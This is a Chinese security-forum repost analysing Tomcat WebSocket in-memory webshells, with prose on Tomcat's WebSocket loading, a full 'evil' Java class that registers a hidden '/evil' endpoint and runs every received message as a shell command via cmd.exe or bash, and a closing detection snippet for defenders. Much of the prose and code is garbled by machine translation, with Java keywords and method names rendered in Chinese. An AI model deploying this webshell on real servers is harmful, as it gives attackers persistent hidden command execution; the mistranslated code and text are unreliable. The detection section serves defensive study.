安全矩阵

 找回密码
 立即注册
搜索
查看: 1327|回复: 0

Tomcat WebSocket 内存马原理浅析

[复制链接]

252

主题

252

帖子

1307

积分

金牌会员

Rank: 6Rank: 6

积分
1307
发表于 2022-7-27 23:14:55 | 显示全部楼层 |阅读模式
原文链接:Tomcat WebSocket 内存马原理浅析


周末和N1k0la师傅决定了这个repo:wsMemShell,来研究一番。
某大行动要开始了,希望此文能抛砖引玉,给师傅们带来一些启示。
Tomcat的WebSocket实现
Tomcat自7.0.2版本开始支持WebSocket,采用自定义API,即WebSocketServlet。

从2013年以后JSR356,Tomcat自7.0.47版本废弃了自定义的API,实现了Java WebSocket规范(JSR356)

根据代表JSR端和客户端的连接,建立WebSocket连接的服务器端和服务器端,每个服务器端可以连接通信端。WebSocket 3端和客户端的连接端,每个服务器端可以连接。WebSocket 5 端连接的客户端,客户端的客户端的Endpoint呼叫。端向服务端发送WebSocket招呼,建立连接后就创建一个对象。ServerEndpointClientEndpointServerEndpoint


ServerEndpoint和ClientEndpoint,有不同的生命周期事件(OnOpen、OnClose、OnError、OnMessage),不同的是ServerEndpoint作为服务器端点,可以指定一个URI路径供客户端连接,ClientEndpoint则没有。

端点对象的生命周期方法如下:

  •         onOpen 当打开一个新的会话时:这是客户端与服务器成功调用的方法,调用于注解@OnOpen时。
  •         onClose 关闭当会话时调用:关闭当注解@On。
  •         onError:当链接过程中异常时调用。
  •         onMessage:接收消息时触发。于注解@OnMessage。

服务端实现Endpoint的方式
服务器端的一种实现类,一种是注解方式,一种是继承类Endpoint有解方式。@ServerEndpointEndpoint
注解方式:@ServerEndpoint
官方文档:ServerEndpoint (Java(TM) EE 7 Specification APIs)
一个@ServerEndpoint注解应该有以下元素:
  •         value:必需,字符串类型,此端点部署的URI路径。
  •         configurator:非必需,继承ServerEndpointConfig.Configurators之类,主要提供ServerEndpoint对象的创建扩展方式(如果使用TomcatWebSocket实现,默认是反射的创建ServerEndpoint对象)。
  •         decoders:非必要,继承解码器的类,用户可以自定义一些消息解码器,的消息是一个对象,接收到消息可以自动解码封装成消息对象。
  •         encoders:非,继承编码器的类,此终结者可以将使用的编码器类的排列方式,定义为解码器和编码器的好处规范使用层消息的传输。
  •         subprotocols:非必需,String下一系列类型,用户在WebSocket协议自定义扩展一些子协议。

例句:
  1. @ServerEndpoint (值 = "/  ws /{userId}" , 编码器 =  { MessageEncoder .class },解码器= { MessageDecoder .class } , configurator = MyServerConfigurator .class )   
复制代码

@ServerEndpoint 可以注解到任何类上,但是想服务端的这些完整功能,还需要配合几个生命周期的实现解注使用,生命周期解解只能在解注方法上:
  •         @OnOpen建立连接时触发。
  •         @OnClose关闭连接时触发。
  •         @OnError发生异常时触发。
  •         @OnMessage接收到消息时触发。

继承抽象类:Endpoint
继承类Endpoint,几个生命周期,实现两个接口,比加注解方式更麻烦@ServerEndpoint。
其中onMessage需要实现接口jakarta.websocket.MessageHandler,给端点分配URI路径需要实现接口jakarta.websocket.server.ServerApplicationConfig。
而URI path、encoders、decoders、configurator等配置信息由jakarta.websocket.server.ServerEndpointConfig管理,默认实现jakarta.websocket.server.DefaultServerEndpointConfig。
通过编程方式实现Endpoint,例如:
  1. ServerEndpointConfig  serverEndpointConfig  =  ServerEndpointConfig 。生成器。创建(WebSocketServerEndpoint3.class ,“ /ws/{userId}” )。解码器(decoderList )。编码器(encoderList )。配置器(新的MyServerConfigurator ())。构建();  
复制代码


Tomcat WebSocket的加载
Tomcat 提供了一个javax.servlet.ServletContainerInitializer实现类org.apache.tomcat.websocket.server.WsSci。
ServletContainer主要主要(SCI)是ServletContainerInitial(SCI)的一个接口,用于在容器启动时通过编程注册Filter、Servlet样式以及Listener,以在里面通过web.xml配置注册。这样就开发类的web应用框架。
具体可看:Servlet3.0研究之ServletContainerInitializer接口
Tomcat的 WebSocket 加载是通过相应的 SCI 机制完成的
WsSci 可以处理的类型有:
  •         添加了注解@ServerEndpoint的类
  •         Endpoint的子类
  •         ServerApplicationConfig 的实现类

Tomcat在Web应用程序启动会在StandardContext的startInternal方法中通过WsSci的onStartup方法初始化Listener和servlet,再扫描类路径下注解@ServerEndpoint的类和Endpoint子类
如果应用存在ServerApplicationConfig获取,则通过ServerApplicationConfigEndpoint子类的配置实现(ServerEndpointConfig实例,包含了请求路径等信息)和符合条件的注解类,通过调用addEndpoint将结果注册到WebSocketContainer上;如果当前应用没有定义ServerApplicationConfig的实现类,那么Sci默认只将所有扫描到的EndpointContainer。因此,注注册到Web必须添加方式定义Endpoint,然后ServerApplicationConfig实现。
然后启动内部方法里为ServletContext添加一个过滤器org.apache.tomcat.websocket.server.WsFilter,它用于判断当前请求是否为WebSocket请求,以便更方便(所以Tomcat都可以用java-memshell- scannerWsFilter)。
Tomcat WebSocket 内存马的实现
我们先来回顾一下servlet-api型内存马的实现步骤,拿Filter型的例子:
  •         获取当前的StandardContext
  •         创建有害过滤器
  •         创建filterDef封装方法Filter对象,调用StandardContext.addFilterDef将filterDef添加到filterDefs
  •         创建filterMap将URL和filter进行绑定,调用StandardContext.addFilterMapBefore方法将filterMap添加到filterMaps中
  •         获取filterConfigs对象,其中添加filterConfig对象

插入的方法要获取过滤器,那么我们就需要在Tomcat过程启动中添加过滤器的方法,而filterDef、filterMap、filterConfigs都是StandardContext对象的,并且也有相应的add,那么我们就需要先获取StandardContext,再调用相应的方法。
WebSocket内存马也很类似,上一节提到了WsSci的onStartup扫描类路径下注解@ServerEndpoint的类和Endpoint子类,并调用addEndpoint方法注册到WebSocketContainer上。那么我们应该从WebSocketContainer出发,而WsServerContainer在StandardContext 在里面创建的,那么大的:
  •         获取当前的StandardContext
  •         通过 StandardContext 获取ServerContainer
  •         定义一个有害类,并创建一个ServerEndpointConfig,给这个有害类分配URI路径
  •         调用ServerContainer.addEndpoint方法,将创建的ServerEndpointConfig添加进去

  1. ServerContainer 容器 =  ( ServerContainer ) 请求。获取ServletContext ()。getAttribute ( ServerContainer.class.getName ( ) ) ; _ 服务器端点配置=服务器端点配置。生成器。创建(邪恶。类,“/ws” )。构建();容器。添加端点(配置);   
复制代码


演示
将注入内存马的操作静态块,加载此类可实现的内存注入
邪恶的java:
  1. 导入 org.apache.catalina.core.StandardContext ;导入 org.apache.catalina.loader.WebappClassLoaderBase ;导入 org.apache.tomcat.websocket.server.WsServerContainer ;导入 javax.websocket.* ;导入 javax.websocket.server.ServerContainer ;导入 javax.websocket.server.ServerEndpointConfig ;导入 java.io.InputStream ;公共 类 evil 扩展 Endpoint 实现 MessageHandler 。整个< String >  {
  2.     static  {
  3.         WebappClassLoaderBase  webappClassLoaderBase  =  ( WebappClassLoaderBase ) 线程。当前线程()。getContextClassLoader ();
  4.         StandardContext 标准上下文 =  ( StandardContext )  webappClassLoaderBase 。获取资源()。获取上下文();
  5.         ServerEndpointConfig 构建 = 服务器端点配置。生成器。创建(邪恶。类, “/邪恶” )。构建();
  6.         WsServerContainer 属性 =  ( WsServerContainer ) 标准上下文。获取ServletContext ()。getAttribute ( ServerContainer.class.getName ( ) ) ; _ 尝试{属性. 添加端点(构建);// System.out.println("ok!"); }抓住(
  7.          
  8.             
  9.             
  10.           DeploymentException  e )  {
  11.             throw  new  RuntimeException ( e );
  12.         }
  13.     }
  14.     私人 会话 会话;
  15.     public  void  onMessage ( String  message )  {
  16.         try  {
  17.             boolean  iswin  =  System . 获取属性(“os.name” )。小写()。开始(“窗口” );
  18.             进程 执行;
  19.             if  ( iswin )  {
  20.                 exec  = 运行时。获取运行时间()。exec ( new  String []{ "cmd.exe" ,  "/c" ,  message });
  21.             } 其他 {
  22.                 执行 = 运行时。获取运行时间()。exec ( new  String []{ "/bin/bash" ,  "-c" ,  message });
  23.             }
  24.              输入 流 ips =  exec 。获取输入流();
  25.             StringBuilder  sb  =  new  StringBuilder ();
  26.             诠释 我;
  27.             while (( i  =  ips . read ())  !=  - 1 )  {
  28.                 sb . 附加((字符) i );
  29.             }
  30.             知识产权。关闭();
  31.             执行。等待();
  32.             这个。会话。获取基本远程()。sendText (某人. toString ());
  33.         } 捕捉 (异常 e ) {
  34.             e 。打印堆栈跟踪();
  35.         }
  36.     }
  37.     @Override
  38.     public  void  onOpen ( Session  session ,  EndpointConfig  config )  {
  39.         this . 会话 = 会话;
  40.         这个。会话。addMessageHandler (这个);
  41.     } }
复制代码

效果:

编辑
WebSocket内存马的检测方法
编辑

addEndpoint之后可以在wsServerContainer里面查到config,ExactMatchMap属性里面找到Endpoint
实际的配置,就可以弄到这个configExMatch Map的东西然后可以调用getPath等到达端点的各种属性,就可以来判别是否为马
  1. 公共 同步 列表< ServerEndpointConfig >  getEndpointConfigs ( HttpServletRequest  request )  throws  Exception  {
  2.     ServerContainer  sc  =  ( ServerContainer )  request 。获取ServletContext ()。getAttribute ( ServerContainer.class.getName ( ) ) ; _ 字段_configExactMatchMap = sc 。获取类()。getDeclaredField ( "configExactMatchMap" );
  3.       
  4.     _configExactMatchMap 。设置可访问(真);
  5.     ConcurrentHashMap  configExactMatchMap  =  ( ConcurrentHashMap )  _configExactMatchMap 。得到(sc );
  6.     类 _ExactPathMatch  = 类。forName ( "org.apache.tomcat.websocket.server.WsServerContainer$ExactPathMatch" );
  7.     方法 _getconfig  =  _ExactPathMatch 。getDeclaredMethod ( "getConfig" );
  8.     _getconfig 。设置可访问(真);
  9.     List < ServerEndpointConfig >  configs  =  new  ArrayList <>();
  10.     迭代器<地图. 条目<字符串, 对象>> 迭代器 =  configExactMatchMap 。入口集()。迭代器();
  11.     while  ( iterator . hasNext ())  {
  12.         Map . 条目<字符串, 对象> 条目 = 迭代器。下一个();
  13.         ServerEndpointConfig 配置 =  ( ServerEndpointConfig ) _getconfig 。调用(条目。getValue ());
  14.         配置。添加(配置);
  15.     }
  16.     返回 配置;}configs  =  getEndpointConfigs (请求); for  ( ServerEndpointConfig  cfg  :  configs )  {
  17.     系统。出来。println ( cfg.getPath ( ) ) ;System . 出来。println ( cfg.getEndpointClass (). getName ( ) ) ;System . 出来。println ( cfg.getEndpointClass ( ) . getClassLoader
  18.    
  19.     ()。获取类()。getName ()) ;
  20.     系统. 出来。println ( classFileIsExists ( cfg.getEndpointClass ( ) ) ) ;System . 出来。println ( cfg.getEndpointClass (). getName ( ) ) ;System . 出来。println ( cfg.getEndpointClass (). getName ( ) ))); }
复制代码
   说句题外话:再说一句,用Tomcat启动WebSocket服务不是那么常见,发现有注册的Endpoint的话,蓝队们如果还需要谨慎对待。
参考
WebSocket内存马,一种新型内存马技术
Servlet3.0研究之ServletContainerInitializer接口
websocket之三:Tomcat的WebSocket实现-duanxz
WebSocket通信原理和在Tomcat中实现源码详解


回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2024-4-20 21:35 , Processed in 0.015041 second(s), 18 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表